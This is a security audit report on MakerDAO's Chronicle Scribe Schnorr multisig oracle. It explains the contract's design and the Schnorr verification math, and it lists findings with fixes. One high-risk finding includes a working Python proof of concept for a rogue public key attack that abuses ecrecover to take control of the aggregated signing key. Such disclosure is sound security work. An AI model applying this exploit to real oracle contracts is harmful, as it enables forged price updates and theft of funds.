Chronicle Scribe (MakerDAO)

Security Review

Cantina Managed review by:
David Nevado, Lead Security Researcher
Kevaundray Wedderburn, Lead Security Researcher

October 1, 2024

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Scribe is an efficient Schnorr multi-signature based oracle allowing a subset of feeds to multi-sign a `(value, age)` tuple via a custom Schnorr scheme. The oracle advances to a new `(value, age)` tuple - via the public callable `poke()` function - if the given tuple is signed by exactly `IScribe::bar()` many feeds.

From Sep 12th to Sep 24th the Cantina team conducted a review of scribe's `LibSchnorr.sol` on commit hash 200225a6. The team identified a total of **12** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 2
- Medium Risk: 1
- Low Risk: 6
- Gas Optimizations: 0
- Informational: 3

2.1 Scribe architecture

2.1.1 High Level

At a high level, we have a contract which holds data, users whom want to read that data and a method to update said data using a multisig scheme.

Contract. Without loss of generality, we have a contract which holds the data and a corresponding timestamp for that data. We will denote this using the tuple `(value, age)`.

2.1.2 Contract Entities

Abstractly, there are two entities that can interact with the contract:

- Contract Readers.
- Contract Moderators.

Contract Readers. The Scribe contract only allows certain `toll'd` addresses to read the value stored in the contract. The definition of a `toll'd` address is not of importance for this document. Contract Readers are only able to read the contract and therefore cannot be adversarial.

Contract Moderators. Contract Moderators are assumed to be trusted participants. Most but not all critical methods will require a trusted participant. They will be marked with `auth` in the contract.

The operations one can do on a contract:

- **Add Signers:** We want to be able to register the public keys that will be a part of the multisig that allows us to update the value in the contract.
- **Remove Signers:** We want to be able to remove signers over time.
- **Update Value:** We want to be able to update the data in the contract that entities are signing over. This requires the multisig and cannot be done by the contract moderator.
- **Update threshold:** To allow more flexibility, we can allow `t` out of `n` registered public keys in the contract to be able to update the value. This method allows the ability to set this `t` value.

Add Signers

This functionality is called `lift` in the contract.

We note that this shares similarities to proof of possession, i.e. the public key being added for the signer, must also contain a signature that verifies that someone owns this private key.

Proof of possession allows one to aggregate public keys using a simple sum since without breaking the discrete logarithm problem and assuming that users are not colluding, none of the public keys should cancel each other out, or be non-trivial multiples of each other.

> Note: We are assuming that all participants in the multisig are not colluding. If this is the case, then one can just think of the colluding participants as one entity. As a reminder, we are also assuming that the contract moderator is honest; since they could simply remove a signer, however they should not have the ability to add a rogue public key(one that no-one knows the secret key for).

- **Lift algorithm:** The algorithm takes two parameters as input:
  - The public key of the signer we wish to add.
  - A domain separated signed ECDSA message (proof of possession).

  1. The algorithm converts the public key to an Ethereum address. This address is denoted as a `Feed`.
  2. The ECDSA signature is verified and subsequently shown to correspond to the public key.
  3. We check to see if this public key has already been registered and add it to the list of public keys/Feeds if not.

- **FeedId Optimization:** As noted above, the contract holds a list of the signers. This list can only hold 256 signers. To compute where a signer must go in the list, we take the top byte from their Ethereum/Feed address.

If a collision is encountered, ie two ethereum addresses have the same byte, then the lift method fails in Scribe.sol#L418.

> This seems like a worthwhile trade-off as the alternative is either a linear scan through the array or a more complicated collision resistant mapping functionality.

Remove Signers

This functionality is called `drop` in the contract. This function takes as input the `feedId`.

> Note: The `feedId` can be seen as synonymous to the public key.

The function simply removes the specified public key from the list of signers.

Update threshold

This functionality is called `setBar` in the contract. This function takes as input, a 8 bit unsigned integer. See the lift method to see why only 256 signers are allowed. This function modifies a variable in the contract called `bar`. This variable represents the number of signers needed in a specific multisig. The input is checked to not equal zero, since this semantically is saying that 0 signatures are needed to make updates.

Update Value

This functionality is called `poke` in the contract.

> Note: Poke does not require a trusted participant to call it.

The important part in poke is the verification of the Schnorr signature. Once verification is complete, the value is updated to the value in the Schnorr message and the timestamp is updated to the current block timestamp.

Verify Schnorr Signature

- **Message:** The message that the user signs over is roughly `(contract_identifier, new_value, timestamp_when_signed)`.

  > Caveat: The timestamp set in the contract corresponds to the time that it was set in the contract, not the timestamp that the signers signed over. This has been brought up in previous audits and has been noted to not be an issue.

- **Message Entropy:**
  - `contract_identifier` is 256 bits.
  - `new_value` is 128 bits.
  - `timestamp_when_signed` is 32 bits.

  If two contracts have the same contract identifier, then the signatures for both contracts are now reusable. It is therefore important to check that contract_identifier is produced in a way that avoids collisions or that it has enough entropy. This only becomes an issue when both contracts have a shared set of signers.

  > On the uniqueness of the contract_identifier, there seems to be a `WatRegistry` that keeps these unique. However, this has not been confirmed.

- **Verify signature:** This method is called `verifySchnorrSignature` in the code. The algorithm takes as input:
  - The message that was signed over.
  - The list of feedIds/public keys that have signed over the data.
  - The signature and the commitment to the nonce.

  1. Ensure that the number of signers is equal to the threshold number of signers required by the contract.

2. Check that the signers that have signed are all unique (no double signing).
3. Check that the signers have had their public keys registered as valid using the `lift` function.
4. Aggregate all public keys into an `aggregatePublicKey`. This is used to then verify the schnorr signature.

- **Commitment to Nonce optimization:** The commitment is not a group element, its actually an ethereum address. This allows the code to use the ecrecover precompile to efficiently compute the equation that the verifier needs to check. For more information on this, see how to abuse ecrecover to do ecmul in secp256k1.

2.2 Schnorr

2.2.1 Brief Theory

Schnorr can be seen as a proof of knowledge of a line, where the gradient/slope is the users public key, the y-intercept is the random nonce and the signature is a random evaluation (challenge) of this line.

- **Nomenclature:**
  - Assumes there is a canonical generator of the group G.
  - Group elements are denoted with capital letters and unless stated otherwise, A means a $*$ G where lowercase a is a scalar.
- **Protocol summary:**
  - **Prover:** Sends P and C where p and c correspond to the following line $f(x) = px + c$.

    It should be noted that usually the verifier has P and it is called the public key.
  - **Verifier:** Sends a random point e to evaluate on the purported line $f(x)$.
  - **Prover:** Sends to the verifier $f(e)$ -- this is known as the signature.
  - **Verifier:**
    * Checks that the line the prover sent the coefficients to via commitments, is also the same line they just sent an evaluation for.
    * It then stands to reason that the prover could only have evaluated the line at a completely random point, because they knew the coefficients for it.

    The verifier checks the evaluation by noting the following relation:

$$f(x) = px + c$$
$$f(e) = p * e + c$$
$$f(e) * G = p * e * G + c * G$$
$$f(e) * G = e * P + C$$

    The final equation is equivalent to checking $f(e) * G - e * P = C$

    This equivalent check is useful for us as we will see that it is amenable to a function in the EVM known as `ecrecover`.
  - **Signature message:** We briefly note that the above is transformed into a signature scheme by using the Fiat-Shamir heuristic to generate the random evaluation point, where the input of the hash function are the coefficients to the line, alongside the message one wants to sign over. Concretely:

$$e = H(P, C, m)$$

    where m is the message.

2.2.2 VerifySignature: Theory to code

The verifySignature method takes in four parameters:

- `pubKey`.
- `message`.
- `signature`.
- `commitment`.

The `pubKey` and `commitment` are the commitments to the coefficients of our line in the theory noted above, ie P and C respectively. The `signature` is $f(e)$ and the `message` is m.

Safety checks

The `pubKey` is a group element, so we check that it is a valid point on the curve

```
if (!pubKey.isOnCurve()) {
    return false;
}
```

Check that the signature is not 0

If $f(e)$ is equal to zero, then it means that either:

1. The random element e that the verifier chose was a root of the prover's polynomial.
2. The prover's polynomial was $f(x) = 0$.

The first point happens with negligible probability. The second means that the prover's private key and the y-intercept which should be random was zero. There does not appear to any attack vectors when this is the case, however both of these cases are undesirable so the check seems okay to have.

> We note that in BIP-340, zero points are excluded because they are not rational points, however, one could have assigned them the representation of $x = 0$ since there is not a point on the curve with that co-ordinate.

```
if (signature == 0) {
   return false;
}
```

The signature is a field element, so we check that it uses its canonical representation, ie it is an integer between 0 and $Q - 1$. The paragraph before implicitly decreases the range to $[1, Q - 1]$

```
if (uint(signature) >= LibSecp256k1.Q()) {
    return false;
}
```

The commitment is non-zero

The commitment is what we were referring to as the nonce or the commitment to the y-intercept of the line. In the theory, it is a point however in the code, for optimization purposes, it is a 160 bit cryptographic hash of the point. The reason for the zero check is unrelated to Schnorr and is a direct consequence of using the `ecrecover` precompile which will return `0` on invalid arguments.

An equivalent check would be to check if the output of the `ecrecover` method is equal to 0.

```
if (commitment == address(0)) {
    return false;
}
```

Applying the `ecrecover` precompile optimization. The `ecrecover` precompile takes as input (v, r, s, m) and returns a point $Q = r^{-1} * (-m * G + s * R)$. The point R is determined solely by v and r where the x-coordinate is equal to $r(\mod Q)$ and v determines the parity for the y-cordinate. In order to re-use `ecrecover` to compute a double scalar mul, we can pass the following tuple to it $(v, r, -rs, -mr)$.

The output would be a point $Q = r^{-1} * (mr * G - rs * R) = mG - sR$. Recall the following schnorr verification equation: $f(e) * G - e * P = C$

Substituting:

- m by f(e).
- s by e.
- r by the x coordinate of P.

We can use the `ecrecover` method to compute C or more concretely a 160 bit hash of C since `ecrecover` will return an address.

Security of the optimization

One area of concern here would be that we are now using 160 bits hash instead of 256 bit point. With 160 bits, one needs 2^{80} operations to find a collision.

Upon finding a collision, ie some point C′ that when hashed, gives the same output as C, the attacker does not gain any advantage in the protocol unless C or C′ are used in other parts of the protocol where they are assumed to be unique. To our knowledge, the commitment is ephemeral and is used solely for signature verification.

Moreover, we also note that upon finding a collision C′, the attacker could also try to find the discrete log of C′ in order to pretend like they committed to c′ as the y-intercept for their line. The cost of this is 2^{128} operations and is thus infeasible.

How the code applies the ecrecover precompile. The rest of the code applies the ecrecover optimization in a more or less straightforward manner.

- **Challenge Computation**

```
// Construct challenge = H(P  P  m  R) mod Q
uint challenge = uint(
    keccak256(
        abi.encodePacked(
            pubKey.x, uint8(pubKey.yParity()), message, commitment
        )
    )
) % LibSecp256k1.Q();
```

The challenge is computed by hashing the x and y co-ordinates of the public key, the message and the commitment to the y-intercept. This is then optimized by noting that a point can be uniquely represented by its x coordinate and the sign of its y coordinate.

- **Computing the message:** Recall that the message is computed as $-mr$ where m is f(e) and r is the x coordinate of the public key.

```
uint msgHash;
unchecked {
    msgHash = LibSecp256k1.Q()
        - mulmod(uint(signature), pubKey.x, LibSecp256k1.Q());
}
```

- **Computing v:** The notable part of the v parameter is that it encodes the parity of the y coordinate of the public key.

```
uint v;
unchecked {
    v = pubKey.yParity() + 27;
}
```

- **Computing s:** Recall that the s component for `ecrecover` is computed as $-rs$ where r is the x coordinate for the public key and s is the challenge.

```
uint s;
unchecked {
    s = LibSecp256k1.Q() - mulmod(challenge, pubKey.x, LibSecp256k1.Q());
}
```

3 Findings

3.1 High Risk

3.1.1 Proof of possession allows adversary to initiate a rogue public key attack

Severity: High Risk

Description: The lift function in `Scribe.sol` acts as a proof of ownership. This function assumes that if the ecdsa signature provided is valid and corresponds to the public key passed in, then the user who knows the secret key corresponding to that public key must have signed the message. We will show that this is not the case.

> `ecrecover` is **not** a signature verification algorithm.

The ECDSA recover method takes in as input (v, m, r, s) and returns as output the following public key:

$$Q = r^{-1} * (-mG + sR)$$

All values except for m are provided by the attacker.

The attacker creates a point $T = (t, y)$ and passes (v, m, t, t) as input to the `ecrecover` method. This will yield a point

$$T' = t^{-1} * (-mG + tT) = -\frac{m}{t}G + T$$

Note:

- If the attacker does not know the discrete log for T then they do not know the discrete log for T'.
- We are able to make `ecrecover` return a public key which we do not own.
- **Crafting the value for** T

  The attacker does not know T, however they create a new point A for which they do know the discrete log. The attacker then sets $T = A - \sum_i H_i$ where H_i are the public keys of honest participants.

- **Aggregation**

  Recall that the lift method successfully allows the protocol to accept the following:

  $$T' = t^{-1} * (-mG + tT) = -\frac{m}{t}G + T$$

  If we set $T = A - \sum_i H_i$, then the lift method would accept:

  $$T' = -\frac{m}{t}G + A - \sum_i H_i$$

  The attacker knows $-\frac{m}{t}G + A$ and by nature of the aggregation protocol, the contract may cancel out each H_i. This attack can be seen as a more complicated way of doing the rogue public key attack.

Proof of concept:

```
from sec import *
import binascii

def unhex(hex_string):
    return binascii.unhexlify(hex_string)

def generate_key_pair(priv_hex):
    priv = unhex(priv_hex)
    pub = privtopub(priv)
    return priv, pub

def compute_signature(msghash, priv):
    v, r, s = ecdsa_raw_sign(msghash, priv)
    recovered_pub = ecdsa_raw_recover(msghash, (v, r, s))
    assert recovered_pub == privtopub(priv), "Signature computation failed"
```

```
    return v, r, s

def get_point_from_x(x, y_parity):
    xcubedaxb = (x * x * x + A * x + B) % P
    y = pow(xcubedaxb, (P + 1) // 4, P)
    if y % 2 != y_parity:
        y = P - y
    return (x, y)

# Generate a signature such that the recovered key is: T - bG
# Where b is known by the attacker and T is the sum of the honest keys negated
# added onto the attackers key Q.
#
# This means that when the recovered key is added onto the honest keys, the
# aggregated key will be Q - bG to which the attacker knows the discrete log
def generate_special_crafted_key(msghash, attacker_pub, honest_keys):
    sum_honest_keys = add(*honest_keys)
    T = sub(attacker_pub, sum_honest_keys)
    t, y = T
    v = (y % 2) + 27  # Compute v based on y-coordinate parity
    special_crafted_key = ecdsa_raw_recover(msghash, (v, t, t))
    return special_crafted_key, sum_honest_keys, t, v

# This method verifies that the attacker knows the discrete log for the aggregated key
def verify_aggregate_key(msghash, attacker_pub, special_crafted_key, sum_honest_keys, t, attacker_priv):
    agg_pub_key = add(special_crafted_key, sum_honest_keys)
    m = bytes_to_int(msghash) % N
    m_div_t = m * inv(t, N)
    m_div_t_G = multiply(G, m_div_t)
    expected = sub(attacker_pub, m_div_t_G)
    assert expected == agg_pub_key, "Aggregate key verification failed"

    # Demonstrate that the attacker knows the discrete log of the aggregated public key
    agg_priv_key = (attacker_priv - m_div_t) % N
    computed_agg_pub_key = multiply(G, agg_priv_key)
    assert computed_agg_pub_key == agg_pub_key, "Discrete logarithm verification failed"

    print("Attacker successfully demonstrated knowledge of the discrete logarithm")
    print(f"Aggregated Public Key: {agg_pub_key}")
    print(f"Computed Aggregated Private Key: {agg_priv_key}")

    return agg_priv_key

if __name__ == "__main__":
    # Generate key pairs
    priv1, pub1 = generate_key_pair("792eca682b890b31356247f2b04662bff448b6bb19ea1c8ab48da222c894ef9b")
    priv2, pub2 = generate_key_pair("491eca682b890b31356247f2b04662bff338b6ab19ea0c8ab48da222c894ef00")
    attacker_priv, attacker_pub =
    ↪  generate_key_pair("792eca6000090b31000047f2b04662bff448b6bb19ea1c8ab48da222c894ef9b")

    msghash = b"\x35" * 32

    # Compute signatures
    v, r, s = compute_signature(msghash, priv1)
    compute_signature(msghash, priv2)

    # Generate special crafted key
    special_crafted_key, sum_honest_keys, t, v = generate_special_crafted_key(msghash, attacker_pub, [pub1,
    ↪  pub2])

    # Verify aggregate key and demonstrate discrete log knowledge
    agg_priv_key = verify_aggregate_key(msghash, attacker_pub, special_crafted_key, sum_honest_keys, t,
    ↪  bytes_to_int(attacker_priv))

    print("All checks passed successfully.")
```

Recommendation: As previously stated, `ecrecover` is not a verification algorithm, but we can make it work like one by turning the message into a challenge.

Instead of having a fixed known ahead of time registration message, we make it depend on the claimed public key. We define:

```
m(Q) := H("\x19Ethereum Signed Message:\n32" || H("Chronicle Feed Registration" || Q ))
```

So now the `ecrecover` equation is:

$$Q = r^{-1}\left(-m(Q) \cdot G + sR\right)$$

After this modification it is no longer possible to generate a signature first, and then a key that matches. As a result, honest participants that generate their key honestly and the signature are not affected; but the attack previously described is no longer possible.

3.1.2 Missing official spec for multisig protocol

Severity: High Risk

Description: The MuSig protocol combines the public keys using pseudo randomness, whereas the scribe Schnorr protocol uses a proof of possession and sums the public keys in order to create an aggregated key. To our knowledge, this is not specified in the MuSig protocol.

The usage of just summing the public keys is specified in Ethereum's BLS signature scheme. We emphasize that MuSig protocols are hard to get correct. See the following references for example:

- Insecure Shortcuts in MuSig.
- Wagner's Birthday Attack.

Recommendation: Create a specification for the signer algorithm and moreover the communication that happens during aggregation. To our knowledge, there is not an official specification using KOSK assumption with MuSig.

3.2 Medium Risk

3.2.1 Linear check on public keys not useful

Severity: Medium Risk

Description: Given a proof of possession, this check has no utility. The pathological case that this checks for is a user submitting multiple keys $\{P, 2P, 3P\}$.

Recommendation: Remove script.

3.3 Low Risk

3.3.1 Public key not checked to be on the curve in lift method

Severity: Low Risk

Description/Recommendation: The lift method does not check that the public key being passed as input is on the curve and whether the co-ordinates are in the correct range.

MakerDAO: The check that the public key is on the curve is done off chain.

3.3.2 Malleability in parity check for y-coordinate

Severity: Low Risk

Description: The `yParity` method assumes that the `y` co-ordinate has been range checked:

```
/// @dev Returns the parity of `self`'s y coordinate.
///
/// @dev The value 0 represents an even y value and 1 represents an odd y
///      value.
///      See "Appendix F: Signing Transactions" in the Yellow Paper.
function yParity(Point memory self) internal pure returns (uint) {
    return self.y & 1;
}
```

Recommendation: Document assumption on range checks since (x, y) and $(x, p + y)$ are the same point but will return different y parities.

3.3.3 Documentation of assumptions in LipSecp256k1 around infinity point

Severity: Low Risk

Description: Currently the elliptic curve code has locations where it is implicitly assumed that the infinity point will not appear.

3.3.4 `_InvMod` behaviour when $x = 0$

Description/Recommendation: Document explicitly the behavior of this function when x=0. In this case, the function returns 0, which does not satisfy the usual inverse equation

$$x \cdot x^{-1} = 1 \mod p$$

3.3.5 Addition chains instead of EEA

Severity: Low Risk

Description: Currently the extended euclidean algorithm is being used to compute the inverse.

Recommendation: Consider using an addition chain for the inverse and in the future, the square root.

3.3.6 Document assumptions made on contract moderators

Severity: Low Risk

Description: The assumptions imposed upon the contract moderators (those who can add/remove signers and update the `bar` variable) define the possible attack vectors that one can deploy.

Recommendation: Document the assumptions made on these contract moderators. This includes whether we are assuming that they will not collude with signers. We could for example imagine a scenario where the `bar` is set to 1 and a colluding signer updates the `value` in the contract.

3.3.7 `toAddress` can return different results if point is not checked to be on the curve

Severity: Low Risk

Description: `Point`'s coordinates are not checked to be in the correct range. It is possible to generate different addresses for the same curve point:

```
/// @dev Returns the Ethereum address of `self`.
///
/// @dev An Ethereum address is defined as the rightmost 160 bits of the
///      keccak256 hash of the concatenation of the hex-encoded x and y
///      coordinates of the corresponding ECDSA public key.
///      See "Appendix F: Signing Transactions" 134 in the Yellow Paper.
function toAddress(Point memory self) internal pure returns (address) {
    address addr;
    // Functionally equivalent Solidity code:
    // addr = address(uint160(uint(keccak256(abi.encode(self.x, self.y)))));
    assembly ("memory-safe") {
        addr := and(keccak256(self, 0x40), ADDRESS_MASK)
    }
    return addr;
}
```

Recommendation: Check the validity of the coordinates or document that `x` and `y` should be in the `[0, p-1]` range.

3.4 Informational

3.4.1 document `ZERO_POINT` not being valid affine point

Severity: Informational.

Description: $(0, 0)$ is not a valid affine point since it does not satisfy the equation $y^2 = x^3 + 7$.

Recommendation: We can add more documentation here to note that $(0, 0)$ is a placeholder for the point at infinity but it cannot be used in addition formulas. For reference, we note that the other way to represent point at infinity would have been to use an extra boolean flag `isInfinity`.

3.4.2 Nonce is computed deterministically in contract

Severity: Informational.

Description: The contract and the schnorr description for computing the Nonce is done in a deterministic manner.

Recommendation: The protocol (golang code) uses cryptographically secure randomness, so we can update the description to match this.

3.4.3 Incorrect comment in crypto.go

Severity: Informational.

Description: The computeNonce method in `musig/crypto/crypto.go` notes:

> // Nonce must be in the range [1, Q-1] to be valid private key. "

Recommendation: The private key is valid irrespective of the nonce valid. In the theory section, we note the rationale for making the nonce be in this range. For brevity, one could simply change "private key" to "schnorr signature"

3.4.4 Unnecessary hashing in rand function in `crypto.go`

Severity: Informational.

Description: The rand function returns the hash of randomness.

Recommendation: Specify why the hashing is needed in the `rand` function.